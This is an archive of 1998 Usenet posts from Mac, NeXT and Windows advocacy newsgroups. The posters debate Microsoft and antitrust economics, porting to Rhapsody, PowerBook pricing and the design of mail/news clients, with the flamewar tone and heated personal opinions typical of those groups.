Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
Date: Sat, 09 May 1998 09:26:54 -0700
Organization: Trilithon Research and Trading
Message-ID: <355483CE.421CC440@trilithon.com>
References: <35522293.731DC4F3@alum.mit.edu> <stevewhite-0705982058110001@d148-218.ce.mediaone.net> <355337E7.AB397170@alum.mit.edu> <35534C47.454F66AA@trilithon.com> <slrn6l76d6.1b2.jason@jhste1.dyn.ml.org>
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Jason S. wrote:
* Hah! In a free market, when one firm tries to "maintain
* reasonable pricing," that one firm is trying to _control_
* pricing - that is, to exercise market power.
I take it you've read the history, then?
........ Henry
=============================================================
Henry McGilton | Trilithon Software, and,
Boulevardier, Java Composer | Pacific Research and Trading
-----------------------------+-------------------------------
mailto:henry@trilithon.com | http://www.trilithon.com
=============================================================
From: alfredo <acartage@uci.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Fri, 08 May 1998 19:59:21 -0800
Organization: University of California, Irvine
Message-ID: <3553D496.257C@uci.edu>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net>
<6in44d$jt3@bgtnsc01.worldnet.att.net> <6iomt2$bac$1@ligarius.ultra.net>
<6isqdb$pa4$1@interport.net> <6isudr$39$1@interport.net>
<6it4lv$n71$2@cronkite.cygnus.com> <3552188E.471E@CONVEX.COM>
<35531f8a.0@209.136.2.9> <355346C7.AB5A6546@nstar.net> <6ivmi0$822$1@cronkite.cygnus.com>
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>
> What's so innocent about sheep who follow someone blindly?
1) who said they are following blindly???? you are assuming everyone is
wrong...while you are right....
>
> They have actively decided to avoid finding out what the best solution is.
ummmmm......the best solution would be for linux, or ANY unix
variant.....not this yucky mac os or windows crap......shit...even
amigas os was better than windows or mac os.......so both mac users and
pc users are guilty of NOT choosing the best os......( I heard beOs is
good too...)
if you want to debate unix/variant vs mac os....then i am pretty sure
that you have never even tried unix.......
> If they had been less sheepish, and thought for themselves instead of
> allowing themselves to be pulled by the nose ring, MS would either have
> embraced open strategies, or folded.
your hatred for ms and its users is almost sickening.......
>
> The sheepish users aren't innocent. They're as guilty as the German citizens
> who knew what was happening to the Jews and quietly allowed it to happen.
> (to be fair, not all of the citizens knew.. but you can't really make a
> credible claim that the citizens who lived in the cities where there were
> camps didn't know) (And I don't mean guilty of murder, I mean they are as
> guilty as MS, if not more so.. in the same way that those citizens are/were
> as guilty as the nazi's who did the actual killing...
> MS-users:MS::Holocaust-aware-German-citizens:Nazi's)
this is really disturbing.......if i were jewish, your mere comparing of
the two would royally insult me.....i am pretty ticked that would even
compare the two, and i am not even jewish....you really have to get a
grip on reality bro....your hatred should not spawn out
uncontrollably....
>
> If you want to criticize my statements for being extremely hateful toward MS,
> so be it. I know I'm being harsh, but I also know that their practicies make
> them deserving of such treatment. But I have targeted no innocent
> individuals.
ohhh yes you have.........you are blaming a mass of people whom you
never met for choosing something other than what you would have
chosen.......dude....i dont blame people for using ms products.....i
prefer unix/variant......as long as i have lilo on a floppy, and a jazz
disk.......i will still play my little os game........but when i need to
do editing.....i have to work on what i would consider an inferior
machine.....i cant afford an sgi with flame (not yet at least)...so i
will have to make due with a mac or a pc with after
effects/premiere/speed razor...whatever......
do i blame mac users or pc user cause there is no dedicated editing
hardware/sftware combo that i can use?????nope (if any of all you alls
know of one...please tell me.....i would love to use it)......do i blame
ms users for the crappy writing tool that i use on the linux box cant
even hold a candle to ms word ??????
no.....
>
> (I will however clarify that by "hurt" I meant financially hurt by forcing
> the expense of change, not physical harm)
you my friend are a sick individual......you would like to see families
go hungry for their choice of an os??????
if you would like to see another human being hurt for their choice of an
os....dude.....you are one sick puppy.....are there any foods that
people should avoid as well????....i mean shit, for all i know i could
be happily eating fish one day, and you could bash me over the head
cause you hate fish.......
i have been lurking in this newsgroup for a while now....i have seen
some pretty good posts here and there.......i have even retorted a few
times myself......but i REALLY had to come out and speak out on this
one......i assume this individual is a rather extreme mac
fanatic.....but i have one question....
do other mac advocates approve of this type of talk??? Dont you think
it makes all of you all look like frothing at the mouth fire and
brimstone evangelists????? i would personally not like this gentleman
representing me or my product.....or well...lets faceit.....be
identified with me in any shape or form....anyways...thats my .02.....
Alfredo
From: Kristofer Jon Magnusson <kris@xmission.xmission.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: whats up with zoneraiders?!?/!
Date: 9 May 1998 10:57:32 -0600
Organization: XMission Internet (801 539 0852)
Message-ID: <6j21ts$36g$1@xmission.xmission.com>
References: <6j04ej$nvc$1@newsfep4.sprintmail.com>
In comp.sys.next.advocacy macghod@concentric.net wrote:
: Zoneraiders is out, and it is for rhapsody for ppc ONLY. I thought
: something written for rhapsody would work on BOTH rhapsodies? And openstep
: as well? Why in gods name would zoneraiders be ppc only?
I asked them this question. I got a response, but it didn't give me any
more info than I already had, except to show that they might be
disorganized.
Porting between Rhapsody arches has been trivial for the relatively
simple apps I have written. Someone like Don, who has pushed the envelope
of the API, might be better qualified to say whether you can run into
porting difficulties with more complex apps.
There are some valid reasons why a company may not want to ship an Intel
arch, mostly having to do with SQA.
There are invalid reasons why a company would refuse to ship an Intel
arch, mainly due to refusing to purchase an Intel machine, misguided
political reasons ("if those lousy PC lovers want to run MY app, let 'em
go buy a Mac...."), etc.
.......kris
--
Kristofer Jon Magnusson <kris@xmission.com>
"NASA and its partners have identified vacuum
as a major attribute of space."
Date: Sat, 09 May 1998 13:01:43 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.portables,comp.sys.mac.hardware,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple Should GET A GOOD LOW END POWERBOOK!!
Message-ID: <joe.ragosta-0905981301430001@elk37.dol.net>
References: <6it738$ceg$1@newsfep4.sprintmail.com> <Barry-ya02408000R0705982252550001@nntp.netgate.net> <6ivef6$ntb$1@newsfep2.sprintmail.com> <6ivm1r$9un$1@larry.admin.phil.uu.nl>
In article <6ivm1r$9un$1@larry.admin.phil.uu.nl>, freek@phil.uu.nl (Freek
Wiedijk) wrote:
> Barry:
>
> >Steve Jobs did say they were planning a consumer level portable to be
> >introduced in '99. There are also rumours going round of a Mac in the eMate
> >form factor. Cross that with the iMac and what do you get?
>
> It will be over $1000. Too expensive to be a hit.
>
Huh? Apple puts together an iMac for $1299 and you think an eMac would be
over $1,000?
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: Henry McGilton <henry@trilithon.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
Date: Sat, 09 May 1998 10:01:50 -0700
Organization: Trilithon Research and Trading
Message-ID: <35548BFE.6E756E79@trilithon.com>
References: <35522293.731DC4F3@alum.mit.edu> <stevewhite-0705982058110001@d148-218.ce.mediaone.net>
<355337E7.AB397170@alum.mit.edu> <fuR41.360$sy4.1232831@news.rdc1.sdca.home.com> <35540431.47775518@common.se> <6j1lcc$ji3@bgtnsc01.worldnet.att.net>
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Arun Gupta wrote:
* Talking about "non-interventionists" , I think these
* are straining at the minnow of the anti-trust laws,
* while ignoring the whales, just a few :
You make some excellent points below.
* a. Why does a government body, the Federal Reserve,
* set interest rates and thereby make the choices
* for everyone about the trade offs between
* unemployment, inflation, corporate profits, and
* economic growth ?
* I think that the Federal Reserve has more effect on
* your life than any other government body.
Urban Myth Alert! The Federal Reserve is not a government
body, any more than Federal Express is a government body.
* b. Doesn't the taxation policy greatly modify what
* behavior would be in the "untrammeled free
* market" ?
You're quite right on this.
* Why is this acceptable ?
Because people are too lazy to do anyhing about it. I
stood in the customs line at Miami for a month one
afternoon, listening to people complaining about the
customs and the stupidity of it all. I asked a couple of
them if they were American citizens and they said yes, so
I asked, "well, then, if you don't like this, why don't
you vote it out of existence"? All I got were blank looks.
* c. Isn't so-called software, video, audio "piracy"
* in reality the "untrammeled free market" at
* work ? Why is this, instead, deemed a crime ?
This part of your argument is in the twilight zone. If
somebody breaks into your house, steals your assets and
drives off in your car, is this the "free market" at work?
If you consider the theft of your personal property a
crime, how does that differ from the theft of the "property"
that is software and such? This topic area is one to which
bodies such as the World Intellectual Property Organisation
among others have devoted decades of debate.
* d. Why do we have government issued currency ? As it
* used to be a century and a half ago, why don't we
* have banks issuing their own currency ?
There are good and bad parts to the currency issue. The
bad part of government issued money is their ability to debase
the currency at their own whim. The advantages of a single
currency should be clear.
* e. Why are banks required to keep certain reserves,
* why are there requirements on having to maintain
* margins ?
In a free market, some banks would maintain adequate reserves,
and some would not. Ideally, then, customers would prefer to
do business with those that maintained adequate reserves, and
those that didn't would eventually go under, for one reason
or another. The trick is to determine which ones are
maintaining adequate reserves.
* Why is insider trading frowned upon ?, etc., etc.
Because, by definition, insider trading isn't a free market.
* I am no economic theorist, but I suspect that the
* "untrammeled free market" is a fictitious entity.
Yes, there's lots of lively debate on this issue all the time.
* Perhaps it could be maintained by perfectly rational
* cooperating beings; but there will always be an
* advantage to "defecting" when the majority is "cooperating",
* (as in the language of the prisoner's dilemma).
The advantage in these cases tends to be either one-shot
advantages, or short-lived advantages. Defecting is the
equivalent of "do unto others before they do unto you", yes?
* Therefore, there are rules, and rules-enforcing bodies,
* and the free market is less "free", but more likely to
* work - just as traffic flows smoothly when everyone
* follows the rules, and there is effective rule-enforcement
* to dissuade rule-breakers.
Sounds like you answered your own questions here.
* Human progress has happened, because, by trial and
* error, we've discovered a pretty good set of rules;
* far from perfect these are, and definitely not
* ideologically pure.
Good points, as I said. But I'm not sure we've arrived
at any useful conclusion.
Cheers,
........ Henry
=============================================================
Henry McGilton | Trilithon Software, and,
Boulevardier, Java Composer | Pacific Research and Trading
-----------------------------+-------------------------------
mailto:henry@trilithon.com | http://www.trilithon.com
=============================================================
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.advocacy
Subject: Re: whats up with zoneraiders?!?/!
Date: 9 May 1998 17:36:00 GMT
Organization: MiscKit Development
Message-ID: <6j2460$skr$1@news.xmission.com>
References: <6j04ej$nvc$1@newsfep4.sprintmail.com> <6j21ts$36g$1@xmission.xmission.com>
Kristofer Jon Magnusson <kris@xmission.xmission.com> wrote:
> In comp.sys.next.advocacy macghod@concentric.net wrote:
> : Zoneraiders is out, and it is for rhapsody for ppc ONLY. I
> : thought something written for rhapsody would work on BOTH
> : rhapsodies? And openstep as well? Why in gods name would
> : zoneraiders be ppc only?
>
> [...].
>
> Porting between Rhapsody arches has been trivial for the relatively
> simple apps I have written. Someone like Don, who has pushed the envelope
> of the API, might be better qualified to say whether you can run into
> porting difficulties with more complex apps.
I guess that means I'm supposed to give an answer. There have been a lot of
good answers given already, but to underscore:
Porting between Rhapsody/Machs is trivial--just check a button when you
compile and you are done. Porting between Yellow Boxes (ie, Mach and
Windows) is tougher--but mostly that only happens if you _stray_ from the
Yellow APIs. You can always make calls to the base OS that don't go through
Yellow. If you do that, expect trouble. Calls going through Yellow port
with nothing more than a recompile.
You may want to have slightly different behaviors between the Mach/Windows
environments, to conform to GUI guidelines, and that may cause a little bit
of conditional compiling. (For example, on Mach, you don't have to put up a
wait cursor; it does it automatically. On Winblows, the OS is too dumb to do
it for you, so you have to make the calls.) Most of the changes caused by
the GUI, however, amount to little more than tweaking the interface files
(.nibs) which is more like playing with a paint program than coding...
> There are some valid reasons why a company may not want to ship an Intel
> arch, mostly having to do with SQA.
That would be the biggest reason, I would HOPE, and it is perfectly valid.
If Apple SQA missed something when testing the YellowBox, then that something
could bite you and you'd need to make a workaround in your code. In my
experience, though, that's the only sort of cross platform bug I've had to
worry about. (Well, any time I strayed from the Yellow APIs I had to worry
about endian and alignment issues, but that's my fault for leaving the
playground...)
> There are invalid reasons why a company would refuse to ship an Intel
> arch, mainly due to refusing to purchase an Intel machine, misguided
> political reasons ("if those lousy PC lovers want to run MY app, let 'em
> go buy a Mac...."), etc.
Another invalid reason would be "we installed the OS thin and therefore can't
build fat apps". The answer, of course, is "get your **** together and
install the OS right".
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.misckit.com/don.html">My home page</a>
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
Date: Sat, 09 May 1998 17:44:27 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <355495FB.D0C86056@nstar.net>
References: <35522293.731DC4F3@alum.mit.edu> <stevewhite-0705982058110001@d148-218.ce.mediaone.net>
<355337E7.AB397170@alum.mit.edu> <fuR41.360$sy4.1232831@news.rdc1.sdca.home.com> <35540431.47775518@common.se> <6j1lcc$ji3@bgtnsc01.worldnet.att.net>
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Arun Gupta wrote many thoughtful and interesting questions regarding
free trade policy:
[cut]
All of these are questions that were very commonly asked throughout
history, especially during the period following the American Revolution
and preceding the New Deal. They were the kinds of questions that were
considered of paramount importance to lawmaking, which is one of the
reasons modern lawmaking (which doesn't ask such insightful questions)
is so piss-poor and yet so common.
The basis, in English Common Law, for many of the answers to your
questions, lies in the Two Fundamental Laws (as described by Richard
Maybury):
1) Do everything you have agreed to do.
2) Do not encroach on other people or their property.
Law number one is the basis for Contract Law, and forms the basis by
which business is conducted. Law number two is the basis of Tort Law. By
careful application of these two laws, much of what you ask can be
answered, especially in the context of precedents set during the time of
Common Law in England.
Most helpful in all of this (for the purpose of maintaining optimism
despite the seeming muddle) are Thomas Paine's remarks: "Man cannot
create principles, he can only discover them." Such belief in a higher
order to things is crucial to proper legislation.
MJP
From: Eric Hermanson <eric@alum.mit.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
Date: Sat, 09 May 1998 11:05:59 -0700
Organization: Digital Universe Corporation
Message-ID: <35549B06.680CA493@alum.mit.edu>
References: <35522293.731DC4F3@alum.mit.edu> <stevewhite-0705982058110001@d148-218.ce.mediaone.net>
<355337E7.AB397170@alum.mit.edu> <35534C47.454F66AA@trilithon.com>
<35538B51.C5BFA834@alum.mit.edu> <6ivi5b$oou$1@ns3.vrx.net> <3553C565.323D7457@alum.mit.edu> <3553FD7B.4CD58F5A@trilithon.com>
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Henry McGilton wrote:
> Eric, rather than venting your spleen at how schlock MicroSoft
> are (and they are, no doubt), can you find some other technology
> area that's really good that we all ought to promote? I know
> how much you love NextStep and friends, but in truth, you can't
> mount a good marketing campaign for a product by (trying to)
> trash(ing) the competition, however lousy they are.
I'm not mounting a marketing campaign for Apple. Quite the opposite. I am so
sick and tired of Microsoft's lies and shoddy products that I am having a
genuinely good time pointing out their flaws to the rest of the world. I've
been screwed one-to-many times using their products (i.e. NT). My productivity
level has dropped tremendously, and I've probably lost thousands of dollars in
income spending time working around the problems I encounter. Unfortunately,
because of their anti-competitive marketing practices, I am forced to use NT
because most of my clients use NT. Go figure.
I apologize, Henry, but if you don't wish to read my drivel, set up a filter.
Eric
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: Sat, 09 May 1998 18:11:36 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <35549C58.8FD7384A@nstar.net>
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net> <6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM> <6icq9p$sq$1@ns3.vrx.net> <354A3627.21CA@CONVEX.COM> <6id2hs$6oi$1@ns3.vrx.net> <6ijcbt$d0u$1@news.cmc.net> <6ijusb$kos$2@ns3.vrx.net> <6il1qa$em7$1@cronkite.cygnus.com> <354E1312.20EA@CONVEX.COM> <6illkc$em7$2@cronkite.cygnus.com> <6imlnj$nkm$2@ns3.vrx.net> <6injcb$bk4$1@crib.bevc.blacksburg.va.us> <354f7928.0@news.depaul.edu> <6indtv$c0h$5@ns3.vrx.net> <rmcassid-0505981451530001@dante.eng.uci.edu> <6ip8au$oum$10@ns3.vrx.net> <SCOTT.98May6131834@slave.doubleu.com> <6irt0u$r1i$2@ns3.vrx.net> <6iv77u$j0f$1@crib.bevc.blacksburg.va.us> <6iup7q$7c9$1@ns3.vrx.net> <6ivgsg$jfl$1@crib.bevc.blacksburg.va.us> <6iv3d3$ekq$1@ns3.vrx.net> <1d8pv67.7o787lqz5wfjN@roxboro0-034.dyn.interpath.net> <6ivb91$k58$1@ns3.vrx.net> <1d8q0gm.jldhvbdc935N@roxboro0-034.dyn.interpath.net>
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John Moreno wrote:
[cut]
> > Which is also handled perfectly in any good program! Do not allow
> > autoreplies to newsgroups. Done.
>
> WHAT!!! But that implies that there is a DIFFERENCE between mail and
> news! You can't DO that, they ARE the SAME.
WHAT yourself! Nobody here has ever claimed that mail and news are the
same; to say such is a gross misrepresentation and, in my opinion, an
attempt to confuse and deliberately derail conversation.
> Or maybe they aren't and the fact that they have historically been
> separate wasn't just a accident.
Nobody has claimed that it was an accident, just a mistake.
[cut]
> Then why the hell are you disallowing autoreplies to newsgroups?
> Thinking "inside the box" again, I see.
What, in God's name, does this have to do with unifying a user
interface? This is such a trivial argument, and I can't believe it
hasn't been thrown out yet. Let's fix that.
CD-ROMs and Winchester-drive hard disks are distinctly separate storage
technologies. Yet the MacOS UI treats them almost identically, *with the
exception that you cannot write to CD-ROM volumes*. Perhaps you believe
that there should be two separate UIs for handling CD-ROMs and
conventional hard disks, but I think that's idiotic.
Printing a document and faxing a document are two distinctly different
things. However, the MacOS treats fax modems as a Chooser item, and
documents are faxed in exactly the same way that they are printed, in
the same document creation programs and with the same interface. Maybe
you believe that there should be separate programs dedicated to faxing
abilities, but I think most people would disagree with you.
Launching a program and opening a document are, most people would agree,
two very different things. Yet in the MacOS UI you perform both actions
in precisely the same way. Maybe you would argue that there should be
separate "secret handshakes" for the two actions, but most people will
disagree with you.
It is distinctly *ridiculous* to argue that on the basis of a tiny
functional difference (and one, especially, that is based not on
necessity but on prudence) two large, conglomerate activities (mail- and
news- reading and posting) are fundamentally different and deserve
fundamentally different interface treatment. Note that I don't call
*you* ridiculous - I personally think that this argument is intended to
_confuse_ rather than _enlighten_ the discussion.
> There are real differences. A simple one is that (IMO at least) mail is
> better viewed where mailboxes and the subjects are in a paned view,
> while news is better viewed with a window for each group. Why? Because
> you don't typically do a lot of moving around of articles in newsgroups
> while you do with messages in mailboxes, and I think it's better to not
> have to worry about the focus for newsgroups.
By focus, do you mean input focus? If so, I think it's extremely
important who has the focus. I'm tired of running a mail client in
Windows, opening a newsgroup, then opening a message, and upon using my
arrow keys to scroll down the message, finding that the focus is still
in the message listing rather than in my new message.
This problem could be avoided by using separate windows and yet could
still be done in such a way that it appreciates use of the keyboard
(rather than massive use of the mouse, seemingly the preferred mode of
operation in news clients today).
> Threading is good for news - and in mail (with the exception of mailing
> list) it is at for the most part unnecessary.
So what? You would deny an email client the use of threading in 5% of
all cases because it is useless for the other 95%? What possible harm
can it cause for an email client to have the associative benefits of
newsgroup threading?
> I don't say it's unwise to combine the two - as long as the very real
> difference are kept in mind.
That is precisely the problem: the differences you describe quite often
don't apply to me at all. Why do I want my messaging client telling *me*
what mail and news are for? It just ends up being *you* telling me what
they're for, anyway, by rule of majority or whatever process causes the
particular manufacture of this mythical "proper" unified mail/news
client. What I want is a unified client that doesn't try to enforce
*any* differences, that's the whole point of the discussion. I want to
decide what the differences are *myself* and act accordingly.
> I will say I think it's more likely for a
> person focused on just news or just mail to create a better mail or news
> experience than someone splitting their attention between the two.
Perhaps someone who has a robust understanding of the overarching
messaging topic can leverage the strengths of both activities to create
a truly superior unified client. Last time I checked, writing a
mail/news client wasn't the sort of thing requiring a massive budget and
a cast of thousands. "Splitting attention" isn't the sort of thing that
worries most developers when it comes to something like an email client.
MJP
Date: Sat, 09 May 1998 14:10:11 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
Message-ID: <joe.ragosta-0905981410110001@elk55.dol.net>
References: <35522293.731DC4F3@alum.mit.edu> <stevewhite-0705982058110001@d148-218.ce.mediaone.net> <355337E7.AB397170@alum.mit.edu> <fuR41.360$sy4.1232831@news.rdc1.sdca.home.com> <35540431.47775518@common.se> <joe.ragosta-0905980801580001@elk74.dol.net> <35546B10.3F19EE93@common.se>
In article <35546B10.3F19EE93@common.se>, anders@common.se wrote:
> Joe Ragosta wrote:
>
> > > Noninterventionist economists are not "guilty" of anything and
> > certainly
> > > don't need any "MS mantras" to sustain their views.
> >
> > Doesn't matter.
> >
> > This guy contradicted himself. First he equated Win98 with human
> > progress.
> > Then he stated that he has no opinion on Win98.
> >
> > That makes him a fool or a liar.
>
> Here's the full coverage:
>
> Another supporter called on by the software giant was Gregory Mankiw,
> professor of economics at Harvard University, who said the government's
> attempt to delay Windows 98 "would throw sand into the gears of human
> progress."
> "As technology evolves, some companies rise and others fade away by
> consumers are better served," he said.
> Mankiw said government regulators should have the same purpose as
> physicians which is to "do no harm."
>
> Note where the quotation marks are. I don't see him actually equating
> Win98 with human progress. And he doesn't need to know anything about
> it: I'd assume he's talking about the principles of an economic theory
> as *applied* to an individual case, not as *derived* from any particular
> product.
Nonsense. By saying saying that delaying Win98 would throw sand into the
gears of human progress (no matter where you put your quotation marks),
he's stating that Win98 is a part of human progress.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: Henry McGilton <henry@trilithon.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
Date: Sat, 09 May 1998 11:20:14 -0700
Organization: Trilithon Research and Trading
Message-ID: <35549E5E.EB4261F0@trilithon.com>
References: <35522293.731DC4F3@alum.mit.edu> <stevewhite-0705982058110001@d148-218.ce.mediaone.net>
<355337E7.AB397170@alum.mit.edu> <fuR41.360$sy4.1232831@news.rdc1.sdca.home.com> <35540431.47775518@common.se> <6j1lcc$ji3@bgtnsc01.worldnet.att.net> <355495FB.D0C86056@nstar.net>
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Michael J. Peck wrote:
<<<< snip >>>>
* The basis, in English Common Law, for many of the answers
* to your questions, lies in the Two Fundamental Laws (as
* described by Richard Maybury):
* 1) Do everything you have agreed to do.
* 2) Do not encroach on other people or their property.
<<<< more good stuff snipped >>>>
Michael, thank you for such a delightful and concise summary
of the bases of law Are you a lawyer or student of law? I'm
now off to research Richard Maybury.
Regards,
........ Henry
=============================================================
Henry McGilton | Trilithon Software, and,
Boulevardier, Java Composer | Pacific Research and Trading
-----------------------------+-------------------------------
mailto:henry@trilithon.com | http://www.trilithon.com
=============================================================
From: sheppard.gordon@relaynet.org (SHEPPARD GORDON)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple Should GET A GO
Date: Sat, 09 May 98 14:28:00 -0400
Organization: RelayNet, Brooklyn, NY (718) 692-2498
Distribution: World
Message-ID: <8EEC364.09B6007033.uuout@relaynet.org>
On 05/09/98, JOE RAGOSTA wrote to Freek Wiedijk:
JR> Huh? Apple puts together an iMac for $1299 and you think an
JR> eMac would be over $1,000?
One has nothing to do with the other. Especially given the higher prices for
small, laptop components. You must understand this, no?
Salut!
-> Alice4Mac 2.4.4 E QWK Hiya:05Nov94
From: dmoorman@interaccess.com (Dave Moorman)
Newsgroups: comp.sys.mac.portables,comp.sys.mac.hardware,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple Should GET A GOOD LOW END POWERBOOK!!
Date: Sat, 09 May 1998 15:06:29 -0500
Organization: InterAccess Co., Chicago's Full Service Internet Provider
Message-ID: <dmoorman-0905981506290001@d97.focal4.interaccess.com>
References: <6it738$ceg$1@newsfep4.sprintmail.com>
In article <6it738$ceg$1@newsfep4.sprintmail.com>, macghod@concentric.net wrote:
> No doubt about it, Apples mid line and high end powerbooks kick the living
> daylights out of any competitor. APple apparently no longer has the 1400's,
> to which I say good riddance, they sucked!
I beg to differ! The 1400c has a great display, wonderful keyboard,
enough speed for us ordinary computer users, and good battery life. It is
too heavy, especially compared to my 2300c. It is handy to have a floppy
and CD-ROM drives that you don't have to do a shutdown/plugitin/reboot
routine for.
The size and weight of the Duo were outstanding, but it isn't built to be
carried around and used everywhere. Not tough enough.
Dave
--
Dave Moorman "If we don't have to be
Downers Grove, better than others,
Illinois USA we can be better for others
and to ourselves."
http://homepage.interaccess.com/~dmoorman/index.html
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Sat, 09 May 1998 20:28:52 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <3554BC84.88DD6BFB@nstar.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net>
<6in44d$jt3@bgtnsc01.worldnet.att.net> <6iomt2$bac$1@ligarius.ultra.net>
<6isqdb$pa4$1@interport.net> <6isudr$39$1@interport.net>
<6it4lv$n71$2@cronkite.cygnus.com> <3552188E.471E@CONVEX.COM>
<35531f8a.0@209.136.2.9> <355346C7.AB5A6546@nstar.net> <6ivmi0$822$1@cronkite.cygnus.com> <3553D496.257C@uci.edu>
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alfredo wrote:
[cut]
> do other mac advocates approve of this type of talk???
No.
> Dont you think
> it makes all of you all look like frothing at the mouth fire and
> brimstone evangelists?????
Yes.
MJP
From: Nathan Keir Edel <edel@best.com_SPAMBLOCK>
Newsgroups: comp.sys.mac.portables,comp.sys.mac.hardware,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple Should GET A GOOD LOW END POWERBOOK!!
Date: 9 May 1998 20:33:25 GMT
Organization: Forte Systems, Inc.
Message-ID: <6j2eil$2ju$2@nntp2.ba.best.com>
References: <6it738$ceg$1@newsfep4.sprintmail.com> <Barry-ya02408000R0705982252550001@nntp.netgate.net> <6ivef6$ntb$1@newsfep2.sprintmail.com> <6ivm1r$9un$1@larry.admin.phil.uu.nl> <joe.ragosta-0905981301430001@elk37.dol.net>
In comp.sys.mac.portables Joe Ragosta <joe.ragosta@dol.net> wrote:
> > >Steve Jobs did say they were planning a consumer level portable to be
> > >introduced in '99. There are also rumours going round of a Mac in the eMate
> > >form factor. Cross that with the iMac and what do you get?
> >
> > It will be over $1000. Too expensive to be a hit.
> Huh? Apple puts together an iMac for $1299 and you think an eMac would be
> over $1,000?
In general, since a laptop consts more than a comparable desktop, yes. It
would be more expensive to engineer for heat, if offered with a TFT screen
the screen would certainly be more expensive (not necessarily so with
whatever variety of STN they're on by then), battery would be more
expensive than a regular power supply, and just about any of the other
components would be at least as expensive.
So yes, I'd expect an equally capable Powerbook to be no cheaper than a
comparable all in one desktop, and more expensive than a comparable
monitorless one.
That's why the last 68000, '030, and '040 based macs ever sold were
Powerbooks (100, 150, and 190 respectively.)
--
Nathan Keir Edel '98 "I've never felt so accepted in my life... these
Edel@Dartmouth.edu people looked deep into my soul and assigned me
edel@best.com a number based on the order in which I joined."
http://newport.dartmouth.edu/ -- Homer Simpson, "Stonecutters" episode
From: Nathan Keir Edel <edel@best.com_SPAMBLOCK>
Newsgroups: comp.sys.mac.portables,comp.sys.mac.hardware,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple Should GET A GOOD LOW END POWERBOOK!!
Date: 9 May 1998 20:43:34 GMT
Organization: Forte Systems, Inc.
Message-ID: <6j2f5m$2ju$3@nntp2.ba.best.com>
References: <6it738$ceg$1@newsfep4.sprintmail.com> <Barry-ya02408000R0705982252550001@nntp.netgate.net> <6j12tr$b3m$1@halcyon.com>
In comp.sys.mac.portables Tim Smith <tzs@halcyon.com> wrote:
> and you have keep track of. Better, I think, would be to have two
> expansion bays that can each take any one of {floppy, CD, zip, extra
> battery, nothing}. That gives the user the flexibility of going empty
> in both for the lightest possible machine, or putting in drives, or even
> putting in more batteries to get long run time.
I've yet to see a machine with two expansion bays AND a battery bay; those
I've seen with two in general let you run with two devices at the desktop,
or with battery + device or two batteries on the road. Thinkpad 700 series,
for example. I thought this was the idea with the new G3 Series powerbooks.
Personally, on the road, I'll always leave the CD/Floppy in checked baggage
and add a second battery given the option.
--
Nathan Keir Edel '98 "I've never felt so accepted in my life... these
Edel@Dartmouth.edu people looked deep into my soul and assigned me
edel@best.com a number based on the order in which I joined."
http://newport.dartmouth.edu/ -- Homer Simpson, "Stonecutters" episode
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
Date: Sat, 09 May 1998 20:50:33 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <3554C199.505DB86@nstar.net>
References: <35522293.731DC4F3@alum.mit.edu> <stevewhite-0705982058110001@d148-218.ce.mediaone.net>
